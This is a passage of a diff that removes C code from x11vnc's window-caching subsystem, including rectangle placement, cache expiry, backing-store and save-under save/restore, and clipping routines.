- int wb = cache_list[i].bs_w;
- int hb = cache_list[i].bs_h;
-
- if (xb < 0) {
- continue;
- }
- if (nabs(yb - y0) > dpy_y) {
- continue;
- }
-
- r2 = sraRgnCreateRect(xb, yb, xb+wb, yb+hb);
- if (! sraRgnAnd(r2, r1)) {
- sraRgnDestroy(r2);
- continue;
- }
- sraRgnDestroy(r2);
-
- a = wb * hb;
-
- d1 = cache_list[i].bs_time;
- d2 = cache_list[i].su_time;
-
- d = d1;
- if (d2 > d) d = d2;
- if (d == 0.0) d = oldest;
-
- if (cache_list[i].map_state == IsViewable) {
- amap += a;
- }
- area += a;
- age += (basetime - d) * a;
- nc++;
- }
- if (nc == 0) {
- score = 999999.9;
- } else {
- double fac;
- age = age / area;
- score = age / area;
- fac = 1.0 * (1.0 - amap/area) + map_factor * (amap/area);
- score *= fac;
- }
-
- wgt[nwgt] = score;
- type[nwgt] = Force;
- val[0][nwgt] = n;
- val[1][nwgt] = x0;
- val[2][nwgt] = y0;
-if (ncdb) fprintf(stderr, "Force [%02d] %9.5f age=%9.4f area=%8d amap=%8d need=%8d\n", nwgt, 10000 * wgt[nwgt], age, (int) area, (int) amap, w*h);
- nwgt++;
- if (nwgt >= nwgt_max) break;
- sraRgnDestroy(r1);
- }
- if (nwgt >= nwgt_max) break;
- }
- if (nwgt >= nwgt_max) break;
- }
- }
-
- if (nwgt == 0) {
-if (ncdb) fprintf(stderr, "nwgt=0\n");
- *x_hit = -1;
- return;
- }
-
- norm = 0.0;
- for (i=0; i < nwgt; i++) {
- norm += wgt[i];
- }
- for (i=0; i < nwgt; i++) {
- wgt[i] /= norm;
- }
-
- r = rfac();
-
- norm = 0.0;
- for (j=0; j < nwgt; j++) {
- norm += wgt[j];
-if (ncdb) fprintf(stderr, "j=%2d acc=%.6f r=%.6f\n", j, norm, r);
- if (r < norm) {
- break;
- }
- }
- if (j >= nwgt) {
- j = nwgt - 1;
- }
-
- if (type[j] == Expire) {
- int ik = val[0][j];
- int k_x = cache_list[ik].bs_x;
- int k_y = cache_list[ik].bs_y;
- int k_w = cache_list[ik].bs_w;
- int k_h = cache_list[ik].bs_h;
-
-if (ncdb) fprintf(stderr, ">>**--**>> found rect [%d] via RAN EXPIRE: %d 0x%lx -- %dx%d+%d+%d %d %d -- %dx%d+%d+%d A: %d/%d\n",
- get_bs_n(*y_hit), ik, cache_list[ik].win, w, h, x, y, *x_hit, *y_hit, k_w, k_h, k_x, k_y, k_w * k_h, w * h);
-
- free_rect(ik);
- fr_EXPIRE++;
- fr_EXPIREt++;
- *x_hit = k_x;
- *y_hit = k_y;
- n = get_bs_n(*y_hit);
- if (n >= 0) {
- r1 = rect_reg[n];
- r2 = sraRgnCreateRect(*x_hit, *y_hit, *x_hit + w, *y_hit + h);
- sraRgnSubtract(r1, r2);
- sraRgnDestroy(r2);
- } else {
- fprintf(stderr, "failure to find y n in find_rect\n");
- clean_up_exit(1);
- }
-
- } else if (type[j] == Force) {
-
- int x0 = val[1][j];
- int y0 = val[2][j];
- n = val[0][j];
-
- r1 = sraRgnCreateRect(x0, y0, x0+w, y0+h);
-
- for (i=0; i<cache_list_num; i++) {
- int xb = cache_list[i].bs_x;
- int yb = cache_list[i].bs_y;
- int wb = cache_list[i].bs_w;
- int hb = cache_list[i].bs_h;
- if (xb < 0) {
- continue;
- }
- if (nabs(yb - y0) > dpy_y) {
- continue;
- }
- r2 = sraRgnCreateRect(xb, yb, xb+wb, yb+hb);
- if (sraRgnAnd(r2, r1)) {
- free_rect(i);
- }
- sraRgnDestroy(r2);
- }
- *x_hit = x0;
- *y_hit = y0;
- r3 = rect_reg[2*n-1];
- sraRgnSubtract(r3, r1);
- sraRgnDestroy(r1);
-
-if (ncdb) fprintf(stderr, ">>**--**>> found rect [%d] via RAN FORCE: %dx%d+%d+%d -- %d %d\n", n, w, h, x, y, *x_hit, *y_hit);
-
- fr_FORCE++;
- fr_FORCEt++;
- }
-}
-
-void expire_rects(int idx, int w, int h, int *x_hit, int *y_hit, int big1, int big2, int cram) {
- int method = 2;
- if (method == 1) {
- expire_rects1(idx, w, h, x_hit, y_hit, big1, big2, cram);
- } else if (method == 2) {
- expire_rects2(idx, w, h, x_hit, y_hit, big1, big2, cram);
- }
-}
-
-int find_rect(int idx, int x, int y, int w, int h) {
- sraRegionPtr r1, r2;
- sraRectangleIterator *iter;
- sraRect rt;
- int n, x_hit = -1, y_hit = -1;
- int big1 = 0, big2 = 0, cram = 0;
- double fac1 = 0.1, fac2 = 0.25;
- double last_clean = 0.0;
- double now = dnow();
- static int nobigs = -1;
-
- if (rect_reg[1] == NULL) {
- for (n = 1; n <= ncache; n++) {
- rect_reg[n] = sraRgnCreateRect(0, n * dpy_y, dpy_x, (n+1) * dpy_y);
- }
- } else if (now > last_clean + 60) {
- last_clean = now;
- for (n = 1; n < ncache; n += 2) {
- int i, n2 = n+1;
-
- /* n */
- sraRgnDestroy(rect_reg[n]);
- r1 = sraRgnCreateRect(0, n * dpy_y, dpy_x, (n+1) * dpy_y);
- for (i=0; i<cache_list_num; i++) {
- int bs_x = cache_list[i].bs_x;
- int bs_y = cache_list[i].bs_y;
- int bs_w = cache_list[i].bs_w;
- int bs_h = cache_list[i].bs_h;
- if (bs_x < 0) {
- continue;
- }
- if (get_bs_n(bs_y) != n) {
- continue;
- }
- r2 = sraRgnCreateRect(bs_x, bs_y, bs_x+bs_w, bs_y+bs_h);
- sraRgnSubtract(r1, r2);
- }
- rect_reg[n] = r1;
-
- /* n+1 */
- sraRgnDestroy(rect_reg[n2]);
- r1 = sraRgnCreateRect(0, n2 * dpy_y, dpy_x, (n2+1) * dpy_y);
- for (i=0; i<cache_list_num; i++) {
- int bs_x = cache_list[i].bs_x;
- int su_x = cache_list[i].su_x;
- int su_y = cache_list[i].su_y;
- int su_w = cache_list[i].su_w;
- int su_h = cache_list[i].su_h;
- if (bs_x < 0) {
- continue;
- }
- if (get_bs_n(su_y) != n2) {
- continue;
- }
- r2 = sraRgnCreateRect(su_x, su_y, su_x+su_w, su_y+su_h);
- sraRgnSubtract(r1, r2);
- }
- rect_reg[n2] = r1;
- }
- }
-
- if (idx < 0 || idx >= cache_list_num) {
-if (ncdb) fprintf(stderr, "free_rect: bad index: %d\n", idx);
- clean_up_exit(1);
- }
-
- cache_list[idx].bs_x = -1;
- cache_list[idx].su_x = -1;
- cache_list[idx].bs_time = 0.0;
- cache_list[idx].su_time = 0.0;
-
- if (ncache_pad) {
- x -= ncache_pad;
- y -= ncache_pad;
- w += 2 * ncache_pad;
- h += 2 * ncache_pad;
- }
-
- if (ncache <= 2) {
- cram = 1;
- fac2 = 0.45;
- } else if (ncache <= 4) {
- fac1 = 0.18;
- fac2 = 0.35;
- }
- if (macosx_console && !macosx_ncache_macmenu) {
- if (cram) {
- fac1 *= 1.5;
- fac2 *= 1.5;
- } else {
- fac1 *= 2.5;
- fac2 *= 2.5;
- }
- }
- if (w * h > fac1 * (dpy_x * dpy_y)) {
- big1 = 1;
- }
- if (w * h > fac2 * (dpy_x * dpy_y)) {
- big2 = 1;
- }
-
- if (nobigs < 0) {
- if (getenv("NOBIGS")) {
- nobigs = 1;
- } else {
- nobigs = 0;
- }
- }
- if (nobigs) {
- big1 = big2 = 0;
- }
-
- if (w > dpy_x || h > dpy_y) {
-if (ncdb) fprintf(stderr, ">>**--**>> BIG1 rect: %dx%d+%d+%d -- %d %d\n", w, h, x, y, x_hit, y_hit);
- fr_BIG1++;
- fr_BIG1t++;
- return 0;
- }
- if (w == dpy_x && h == dpy_y) {
-if (ncdb) fprintf(stderr, ">>**--**>> BIG1 rect: %dx%d+%d+%d -- %d %d (FULL DISPLAY)\n", w, h, x, y, x_hit, y_hit);
- fr_BIG1++;
- fr_BIG1t++;
- return 0;
- }
- if (cram && big2) {
-if (ncdb) fprintf(stderr, ">>**--**>> BIG2 rect: %dx%d+%d+%d -- %d %d\n", w, h, x, y, x_hit, y_hit);
- fr_BIG2++;
- fr_BIG2t++;
- return 0;
- }
-
- /* first try individual rects of unused region */
- for (n = 1; n < ncache; n += 2) {
- r1 = rect_reg[n];
- r2 = NULL;
- if (big1 && n == 1 && ncache > 2) {
- continue;
- }
- if (big2 && n <= 3 && ncache > 4) {
- continue;
- }
- iter = sraRgnGetIterator(r1);
- while (sraRgnIteratorNext(iter, &rt)) {
- int rw = rt.x2 - rt.x1;
- int rh = rt.y2 - rt.y1;
- if (cram && big1 && rt.x1 < dpy_x/4) {
- continue;
- }
- if (rw >= w && rh >= h) {
- x_hit = rt.x1;
- y_hit = rt.y1;
- if (cram && big1) {
- x_hit = rt.x2 - w;
- }
- r2 = sraRgnCreateRect(x_hit, y_hit, x_hit + w, y_hit + h);
- break;
- }
- }
- sraRgnReleaseIterator(iter);
- if (r2 != NULL) {
-if (ncdb) fprintf(stderr, ">>**--**>> found rect via REGION: %dx%d+%d+%d -- %d %d\n", w, h, x, y, x_hit, y_hit);
- fr_REGION++;
- fr_REGIONt++;
- sraRgnSubtract(r1, r2);
- sraRgnDestroy(r2);
- break;
- }
- }
-
-
- /* next try moving corner to grid points */
- if (x_hit < 0) {
- for (n = 1; n < ncache; n += 2) {
- int rx, ry, Nx = 48, Ny = 24, ny = n * dpy_y;
-
- if (big1 && n == 1 && ncache > 2) {
- continue;
- }
- if (big2 && n == 3 && ncache > 4) {
- continue;
- }
-
- r1 = sraRgnCreateRect(0, n * dpy_y, dpy_x, (n+1) * dpy_y);
- sraRgnSubtract(r1, rect_reg[n]);
- r2 = NULL;
-
- rx = 0;
- while (rx + w <= dpy_x) {
- ry = 0;
- if (cram && big1 && rx < dpy_x/4) {
- rx += dpy_x/Nx;
- continue;
- }
- while (ry + h <= dpy_y) {
- r2 = sraRgnCreateRect(rx, ry+ny, rx + w, ry+ny + h);
- if (sraRgnAnd(r2, r1)) {
- sraRgnDestroy(r2);
- r2 = NULL;
- } else {
- sraRgnDestroy(r2);
- r2 = sraRgnCreateRect(rx, ry+ny, rx + w, ry+ny + h);
- x_hit = rx;
- y_hit = ry+ny;
- }
- ry += dpy_y/Ny;
- if (r2) break;
- }
- rx += dpy_x/Nx;
- if (r2) break;
- }
- sraRgnDestroy(r1);
- if (r2 != NULL) {
- sraRgnSubtract(rect_reg[n], r2);
- sraRgnDestroy(r2);
-if (ncdb) fprintf(stderr, ">>**--**>> found rect via GRID: %dx%d+%d+%d -- %d %d\n", w, h, x, y, x_hit, y_hit);
- fr_GRID++;
- fr_GRIDt++;
- break;
- }
- }
- }
-
- /* next, try expiring the oldest/smallest used bs/su rectangle we fit in */
-
- if (x_hit < 0) {
- expire_rects(idx, w, h, &x_hit, &y_hit, big1, big2, cram);
- }
-
- cache_list[idx].bs_x = x_hit;
- cache_list[idx].bs_y = y_hit;
- cache_list[idx].bs_w = w;
- cache_list[idx].bs_h = h;
-
- cache_list[idx].su_x = x_hit;
- cache_list[idx].su_y = y_hit + dpy_y;
- cache_list[idx].su_w = w;
- cache_list[idx].su_h = h;
-
- if (x_hit < 0) {
- /* bad news, can it still happen? */
- if (ncdb) fprintf(stderr, ">>**--**>> *FAIL rect: %dx%d+%d+%d -- %d %d\n", w, h, x, y, x_hit, y_hit);
- fr_FAIL++;
- fr_FAILt++;
- return 0;
- } else {
- if (0) fprintf(stderr, ">>**--**>> found rect: %dx%d+%d+%d -- %d %d\n", w, h, x, y, x_hit, y_hit);
- }
-
- if (zero_rects) {
- r1 = sraRgnCreateRect(x_hit, y_hit, x_hit+w, y_hit+h);
- sraRgnSubtract(zero_rects, r1);
- sraRgnDestroy(r1);
- r1 = sraRgnCreateRect(x_hit, y_hit+dpy_y, x_hit+w, y_hit+dpy_y+h);
- sraRgnSubtract(zero_rects, r1);
- sraRgnDestroy(r1);
- }
-
- return 1;
-}
-
-static void cache_cr(sraRegionPtr r, int dx, int dy, double d0, double d1, int *nbatch) {
- if (sraRgnEmpty(r)) {
- return;
- }
- if (nbatch == NULL) {
- if (!fb_push_wait(d0, FB_COPY)) {
- fb_push_wait(d0/2, FB_COPY);
- }
- do_copyregion(r, dx, dy, 0);
- if (!fb_push_wait(d1, FB_COPY)) {
- fb_push_wait(d1/2, FB_COPY);
- }
- } else {
- batch_dxs[*nbatch] = dx;
- batch_dys[*nbatch] = dy;
- batch_reg[*nbatch] = sraRgnCreateRgn(r);
- (*nbatch)++;
- }
-}
-
-double save_delay0 = 0.02;
-double restore_delay0 = 0.02;
-double save_delay1 = 0.05;
-double restore_delay1 = 0.05;
-static double dtA, dtB;
-
-int valid_wr(int idx, Window win, XWindowAttributes *attr) {
-#ifdef MACOSX
- if (macosx_console) {
- /* this is all to avoid animation changing WxH+X+Y... */
- if (idx >= 0) {
- int rc = valid_window(win, attr, 1);
- attr->x = cache_list[idx].x;
- attr->y = cache_list[idx].y;
- attr->width = cache_list[idx].width;
- attr->height = cache_list[idx].height;
- return rc;
- } else {
- return valid_window(win, attr, 1);
- }
- }
-#else
- if (!idx) {}
-#endif
- return valid_window(win, attr, 1);
-}
-
-int clipped(int idx) {
- int ic;
- sraRegionPtr r0, r1, r2;
- int x1, y1, w1, h1;
- Window win;
- int clip = 0;
-
- if (idx < 0) {
- return 0;
- }
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- x1 = cache_list[idx].x;
- y1 = cache_list[idx].y;
- w1 = cache_list[idx].width;
- h1 = cache_list[idx].height;
-
- win = cache_list[idx].win;
-
- r1 = sraRgnCreateRect(x1, y1, x1+w1, y1+h1);
- sraRgnAnd(r1, r0);
-
- for (ic = old_stack_n - 1; ic >= 0; ic--) {
- int xc, yc, wc, hc, idx2;
-
- if (old_stack[ic] == win) {
- break;
- }
- if (old_stack_mapped[ic] == 0) {
- continue;
- }
- idx2 = lookup_old_stack_index(ic);
- if (idx2 < 0) {
- continue;
- }
- if (cache_list[idx2].win == win) {
- break;
- }
- if (cache_list[idx2].map_state != IsViewable) {
- continue;
- }
- xc = cache_list[idx2].x;
- yc = cache_list[idx2].y;
- wc = cache_list[idx2].width;
- hc = cache_list[idx2].height;
-
- r2 = sraRgnCreateRect(xc, yc, xc+wc, yc+hc);
- sraRgnAnd(r2, r0);
- if (sraRgnAnd(r2, r1)) {
-if (0) fprintf(stderr, "clip[0x%lx]: 0x%lx, %d/%d\n", win, cache_list[idx2].win, ic, idx2);
- clip = 1;
- }
- sraRgnDestroy(r2);
- if (clip) {
- break;
- }
- }
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
-if (0) fprintf(stderr, "clip[0x%lx]: %s\n", win, clip ? "clipped" : "no-clipped");
- return clip;
-}
-
-void clip_region(sraRegionPtr r, Window win) {
- int ic, idx2;
- sraRegionPtr r1;
- for (ic = old_stack_n - 1; ic >= 0; ic--) {
- int xc, yc, wc, hc;
-
-if (0) fprintf(stderr, "----[0x%lx]: 0x%lx, %d %d\n", win, old_stack[ic], ic, old_stack_mapped[ic]);
- if (old_stack[ic] == win) {
- break;
- }
- if (old_stack_mapped[ic] == 0) {
- continue;
- }
- idx2 = lookup_old_stack_index(ic);
- if (idx2 < 0) {
- continue;
- }
- if (cache_list[idx2].win == win) {
- break;
- }
- if (cache_list[idx2].map_state != IsViewable) {
- continue;
- }
- xc = cache_list[idx2].x;
- yc = cache_list[idx2].y;
- wc = cache_list[idx2].width;
- hc = cache_list[idx2].height;
- r1 = sraRgnCreateRect(xc, yc, xc+wc, yc+hc);
- if (sraRgnAnd(r1, r)) {
- sraRgnSubtract(r, r1);
-if (0) fprintf(stderr, "clip[0x%lx]: 0x%lx, %d/%d\n", win, cache_list[idx2].win, ic, idx2);
- }
- sraRgnDestroy(r1);
- }
-}
-
-int bs_save(int idx, int *nbatch, XWindowAttributes *attr, int clip, int only_if_tracking, int *valid, int verb) {
- Window win = cache_list[idx].win;
- int x1, y1, w1, h1;
- int x2, y2, w2, h2;
- int x, y, w, h;
- int dx, dy, rc = 1;
- sraRegionPtr r, r0;
-
- x1 = cache_list[idx].x;
- y1 = cache_list[idx].y;
- w1 = cache_list[idx].width;
- h1 = cache_list[idx].height;
-
-if (ncdb && verb) fprintf(stderr, "backingstore save: 0x%lx %3d clip=%d\n", win, idx, clip);
-
- X_LOCK;
- if (*valid) {
- attr->x = x1;
- attr->y = y1;
- attr->width = w1;
- attr->height = h1;
- } else if (! valid_wr(idx, win, attr)) {
-if (ncdb) fprintf(stderr, "bs_save: not a valid X window: 0x%lx\n", win);
- X_UNLOCK;
- *valid = 0;
- cache_list[idx].valid = 0;
- return 0;
- } else {
- *valid = 1;
- }
- X_UNLOCK;
-
- if (only_if_tracking && cache_list[idx].bs_x < 0) {
- return 0;
- }
-
- x2 = attr->x;
- y2 = attr->y;
- w2 = attr->width;
- h2 = attr->height;
-
- if (cache_list[idx].bs_x < 0) {
- rc = find_rect(idx, x2, y2, w2, h2);
- } else if (w2 > cache_list[idx].bs_w || h2 > cache_list[idx].bs_h) {
- free_rect(idx);
- rc = find_rect(idx, x2, y2, w2, h2);
- }
-
- x = cache_list[idx].bs_x;
- y = cache_list[idx].bs_y;
- w = cache_list[idx].bs_w;
- h = cache_list[idx].bs_h;
-
- if (x < 0 || ! rc) {
-if (ncdb) fprintf(stderr, "BS_save: FAIL FOR: %d\n", idx);
- return 0;
- }
-
- if (ncache_pad) {
- x2 -= ncache_pad;
- y2 -= ncache_pad;
- w2 += 2 * ncache_pad;
- h2 += 2 * ncache_pad;
- }
-
- if (clipshift) {
- x2 -= coff_x;
- y2 -= coff_y;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r = sraRgnCreateRect(x2, y2, x2+w2, y2+h2);
- sraRgnAnd(r, r0);
-
- if (clip) {
- clip_region(r, win);
- }
-
- if (sraRgnEmpty(r)) {
-if (ncdb && verb) fprintf(stderr, "BS_save: Region Empty: %d\n", idx);
- sraRgnDestroy(r0);
- sraRgnDestroy(r);
- return 0;
- }
-
- dx = x - x2;
- dy = y - y2;
-
- sraRgnOffset(r, dx, dy);
-
- dtA = dnowx();
-if (ncdb && verb) fprintf(stderr, "BS_save: %.4f %d dx=%d dy=%d\n", dtA, idx, dx, dy);
- if (w2 > 0 && h2 > 0) {
- cache_cr(r, dx, dy, save_delay0, save_delay1, nbatch);
- }
- dtB = dnowx();
-if (ncdb && verb) fprintf(stderr, "BS_save: %.4f %.2f %d done. %dx%d+%d+%d %dx%d+%d+%d %.2f %.2f\n", dtB, dtB-dtA, idx, w1, h1, x1, y1, w2, h2, x2, y2, cache_list[idx].bs_time - x11vnc_start, dnowx());
-
- sraRgnDestroy(r0);
- sraRgnDestroy(r);
-
- last_bs_save = cache_list[idx].bs_time = dnow();
-
- return 1;
-}
-
-int su_save(int idx, int *nbatch, XWindowAttributes *attr, int clip, int *valid, int verb) {
- Window win = cache_list[idx].win;
- int x1, y1, w1, h1;
- int x2, y2, w2, h2;
- int x, y, w, h;
- int dx, dy, rc = 1;
- sraRegionPtr r, r0;
-
-if (ncdb && verb) fprintf(stderr, "save-unders save: 0x%lx %3d \n", win, idx);
-
- x1 = cache_list[idx].x;
- y1 = cache_list[idx].y;
- w1 = cache_list[idx].width;
- h1 = cache_list[idx].height;
-
- X_LOCK;
- if (*valid) {
- attr->x = x1;
- attr->y = y1;
- attr->width = w1;
- attr->height = h1;
- } else if (! valid_wr(idx, win, attr)) {
-if (ncdb) fprintf(stderr, "su_save: not a valid X window: 0x%lx\n", win);
- X_UNLOCK;
- *valid = 0;
- cache_list[idx].valid = 0;
- return 0;
- } else {
- *valid = 1;
- }
- X_UNLOCK;
-
- x2 = attr->x;
- y2 = attr->y;
- w2 = attr->width;
- h2 = attr->height;
-
- if (cache_list[idx].bs_x < 0) {
- rc = find_rect(idx, x2, y2, w2, h2);
- } else if (w2 > cache_list[idx].su_w || h2 > cache_list[idx].su_h) {
- free_rect(idx);
- rc = find_rect(idx, x2, y2, w2, h2);
- }
- x = cache_list[idx].su_x;
- y = cache_list[idx].su_y;
- w = cache_list[idx].su_w;
- h = cache_list[idx].su_h;
-
- if (x < 0 || ! rc) {
-if (ncdb) fprintf(stderr, "SU_save: FAIL FOR: %d\n", idx);
- return 0;
- }
-
- if (ncache_pad) {
- x2 -= ncache_pad;
- y2 -= ncache_pad;
- w2 += 2 * ncache_pad;
- h2 += 2 * ncache_pad;
- }
-
- if (clipshift) {
- x2 -= coff_x;
- y2 -= coff_y;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r = sraRgnCreateRect(x2, y2, x2+w2, y2+h2);
- sraRgnAnd(r, r0);
-
- if (clip) {
- clip_region(r, win);
- }
-
- if (sraRgnEmpty(r)) {
-if (ncdb && verb) fprintf(stderr, "SU_save: Region Empty: %d\n", idx);
- sraRgnDestroy(r0);
- sraRgnDestroy(r);
- return 0;
- }
-
-
- dx = x - x2;
- dy = y - y2;
-
- sraRgnOffset(r, dx, dy);
-
- dtA = dnowx();
-if (ncdb && verb) fprintf(stderr, "SU_save: %.4f %d dx=%d dy=%d\n", dtA, idx, dx, dy);
- if (w2 > 0 && h2 > 0) {
- cache_cr(r, dx, dy, save_delay0, save_delay1, nbatch);
- }
- dtB = dnowx();
-if (ncdb && verb) fprintf(stderr, "SU_save: %.4f %.2f %d done. %dx%d+%d+%d %dx%d+%d+%d %.2f %.2f\n", dtB, dtB-dtA, idx, w1, h1, x1, y1, w2, h2, x2, y2, cache_list[idx].su_time - x11vnc_start, dnowx());
-
- sraRgnDestroy(r0);
- sraRgnDestroy(r);
-
- last_su_save = cache_list[idx].su_time = dnow();
-
- return 1;
-}
-
-int bs_restore(int idx, int *nbatch, sraRegionPtr rmask, XWindowAttributes *attr, int clip, int nopad, int *valid, int verb) {
- Window win = cache_list[idx].win;
- int x1, y1, w1, h1;
- int x2, y2, w2, h2;
- int x, y, w, h;
- int dx, dy;
- sraRegionPtr r, r0;
-
-if (ncdb && verb) fprintf(stderr, "backingstore restore: 0x%lx %3d \n", win, idx);
-
- x1 = cache_list[idx].x;
- y1 = cache_list[idx].y;
- w1 = cache_list[idx].width;
- h1 = cache_list[idx].height;
-
- X_LOCK;
- if (*valid) {
- attr->x = x1;
- attr->y = y1;
- attr->width = w1;
- attr->height = h1;
- } else if (! valid_wr(idx, win, attr)) {
-if (ncdb) fprintf(stderr, "BS_restore: not a valid X window: 0x%lx\n", win);
- *valid = 0;
- X_UNLOCK;
- return 0;
- } else {
- *valid = 1;
- }
- X_UNLOCK;
-
- x2 = attr->x;
- y2 = attr->y;
- w2 = attr->width;
- h2 = attr->height;
-
- x = cache_list[idx].bs_x;
- y = cache_list[idx].bs_y;
- w = cache_list[idx].bs_w;
- h = cache_list[idx].bs_h;
-
- if (x < 0 || cache_list[idx].bs_time == 0.0) {
- return 0;
- }
-
- if (ncache_pad) {
- if (nopad) {
- x += ncache_pad;
- y += ncache_pad;
- w -= 2 * ncache_pad;
- h -= 2 * ncache_pad;
- } else {
- x2 -= ncache_pad;
- y2 -= ncache_pad;
- w2 += 2 * ncache_pad;
- h2 += 2 * ncache_pad;
- }
- }
-
- if (clipshift) {
- x2 -= coff_x;
- y2 -= coff_y;
- }
-
- if (w2 > w) {
- w2 = w;
- }
- if (h2 > h) {
- h2 = h;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r = sraRgnCreateRect(x, y, x+w2, y+h2);
-
- dx = x2 - x;
- dy = y2 - y;
-
- sraRgnOffset(r, dx, dy);
- sraRgnAnd(r, r0);
-
- if (clip) {
- clip_region(r, win);
- }
- if (rmask != NULL) {
- sraRgnAnd(r, rmask);
- }
-
- dtA = dnowx();
-if (ncdb && verb) fprintf(stderr, "BS_rest: %.4f %d dx=%d dy=%d\n", dtA, idx, dx, dy);
- if (w2 > 0 && h2 > 0) {
- cache_cr(r, dx, dy, restore_delay0, restore_delay1, nbatch);
- }
- dtB = dnowx();
-if (ncdb && verb) fprintf(stderr, "BS_rest: %.4f %.2f %d done. %dx%d+%d+%d %dx%d+%d+%d %.2f %.2f\n", dtB, dtB-dtA, idx, w1, h1, x1, y1, w2, h2, x2, y2, cache_list[idx].bs_time - x11vnc_start, dnowx());
-
- sraRgnDestroy(r0);
- sraRgnDestroy(r);
-
- last_bs_restore = dnow();
-
- return 1;
-}
-
-int su_restore(int idx, int *nbatch, sraRegionPtr rmask, XWindowAttributes *attr, int clip, int nopad, int *valid, int verb) {
- Window win = cache_list[idx].win;
- int x1, y1, w1, h1;
- int x2 = 0, y2 = 0, w2 = 0, h2 = 0;
- int x, y, w, h;
- int dx, dy;
- sraRegionPtr r, r0;
-
-if (ncdb && verb) fprintf(stderr, "save-unders restore: 0x%lx %3d \n", win, idx);
-
- x1 = cache_list[idx].x;
- y1 = cache_list[idx].y;
- w1 = cache_list[idx].width;
- h1 = cache_list[idx].height;
-
- X_LOCK;
- if (*valid) {
- attr->x = x1;
- attr->y = y1;
- attr->width = w1;
- attr->height = h1;
- x2 = attr->x;
- y2 = attr->y;
- w2 = attr->width;
- h2 = attr->height;
- } else if (! valid_wr(idx, win, attr)) {
-if (ncdb) fprintf(stderr, "SU_restore: not a valid X window: 0x%lx\n", win);
- *valid = 0;
- x2 = x1;
- y2 = y1;
- w2 = w1;
- h2 = h1;
- } else {
- x2 = attr->x;
- y2 = attr->y;
- w2 = attr->width;
- h2 = attr->height;
- *valid = 1;
- }
- X_UNLOCK;
-
- x = cache_list[idx].su_x;
- y = cache_list[idx].su_y;
- w = cache_list[idx].su_w;
- h = cache_list[idx].su_h;
-
- if (x < 0 || cache_list[idx].bs_x < 0 || cache_list[idx].su_time == 0.0) {
-if (ncdb) fprintf(stderr, "SU_rest: su_x/bs_x/su_time: %d %d %.3f\n", x, cache_list[idx].bs_x, cache_list[idx].su_time);
- return 0;
- }
-
- if (ncache_pad) {
- if (nopad) {
- x += ncache_pad;
- y += ncache_pad;
- w -= 2 * ncache_pad;
- h -= 2 * ncache_pad;
- } else {
- x2 -= ncache_pad;
- y2 -= ncache_pad;
- w2 += 2 * ncache_pad;
- h2 += 2 * ncache_pad;
- }
- }
-
- if (clipshift) {
- x2 -= coff_x;
- y2 -= coff_y;
- }
-
- if (w2 > w) {
- w2 = w;
- }
- if (h2 > h) {
- h2 = h;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r = sraRgnCreateRect(x, y, x+w2, y+h2);
-
- dx = x2 - x;
- dy = y2 - y;
-
- sraRgnOffset(r, dx, dy);
- sraRgnAnd(r, r0);
-
- if (clip) {
- clip_region(r, win);
- }
- if (rmask != NULL) {
- sraRgnAnd(r, rmask);
- }
-
- dtA = dnowx();
-if (ncdb && verb) fprintf(stderr, "SU_rest: %.4f %d dx=%d dy=%d\n", dtA, idx, dx, dy);
- if (w2 > 0 && h2 > 0) {
- cache_cr(r, dx, dy, restore_delay0, restore_delay1, nbatch);
- }
- dtB = dnowx();
-if (ncdb && verb) fprintf(stderr, "SU_rest: %.4f %.2f %d done. %dx%d+%d+%d %dx%d+%d+%d %.2f %.2f\n", dtB, dtB-dtA, idx, w1, h1, x1, y1, w2, h2, x2, y2, cache_list[idx].su_time - x11vnc_start, dnowx());
-
- sraRgnDestroy(r0);
- sraRgnDestroy(r);
-
- last_su_restore = dnow();
-
- return 1;
-}
-
-void check_zero_rects(void) {
- sraRect rt;
- sraRectangleIterator *iter;
- if (! zero_rects) {
- zero_rects = sraRgnCreate();
- }
- if (sraRgnEmpty(zero_rects)) {
- return;
- }
-
- iter = sraRgnGetIterator(zero_rects);
- while (sraRgnIteratorNext(iter, &rt)) {
- zero_fb(rt.x1, rt.y1, rt.x2, rt.y2);
- mark_rect_as_modified(rt.x1, rt.y1, rt.x2, rt.y2, 0);
- }
- sraRgnReleaseIterator(iter);
- sraRgnMakeEmpty(zero_rects);
-}
-
-void block_stats(void) {
- int n, k, s1, s2;
- static int t = -1;
- int vcnt, icnt, tcnt, vtot = 0, itot = 0, ttot = 0;
- t++;
- for (n = 1; n < ncache+1; n += 2) {
- double area = 0.0, frac;
- vcnt = 0;
- icnt = 0;
- tcnt = 0;
- for(k=0; k<cache_list_num; k++) {
- XWindowAttributes attr;
- int x = cache_list[k].bs_x;
- int y = cache_list[k].bs_y;
- int w = cache_list[k].bs_w;
- int h = cache_list[k].bs_h;
- int rc = 0;
- Window win = cache_list[k].win;
-
- if (win == None) {
- continue;
- }
- if (n == 1) {
- X_LOCK;
- rc = valid_window(win, &attr, 1);
- X_UNLOCK;
- if (rc) {
- vtot++;
- } else {
- itot++;
- }
- if (x >= 0) {
- ttot++;
- }
- }
- if (y < n*dpy_y || y > (n+1)*dpy_y) {
- continue;
- }
- if (n != 1) {
- X_LOCK;
- rc = valid_window(win, &attr, 1);
- X_UNLOCK;
- }
- if (rc) {
- vcnt++;
- } else {
- icnt++;
- }
- if (x >= 0) {
- tcnt++;
- }
- if (x < 0) {
- continue;
- }
- area += cache_list[k].width * cache_list[k].height;
- if (! rc && ! macosx_console) {
- char *u = getenv("USER");
- if (u && !strcmp(u, "runge")) fprintf(stderr, "\a");
- if (ncdb) fprintf(stderr, "\n *** UNRECLAIMED WINDOW: 0x%lx %dx%d+%d+%d\n\n", win, w, h, x, y);
- DELETE(k);
- }
- if (t < 3 || (t % 4) == 0 || hack_val || macosx_console) {
- double t1 = cache_list[k].su_time;
- double t2 = cache_list[k].bs_time;
- if (t1 > 0.0) {t1 = dnow() - t1;} else {t1 = -1.0;}
- if (t2 > 0.0) {t2 = dnow() - t2;} else {t2 = -1.0;}
- if (ncdb) fprintf(stderr, " [%02d] %04d 0x%08lx bs: %04dx%04d+%04d+%05d vw: %04dx%04d+%04d+%04d cl: %04dx%04d+%04d+%04d map=%d su=%9.3f bs=%9.3f cnt=%d/%d\n",
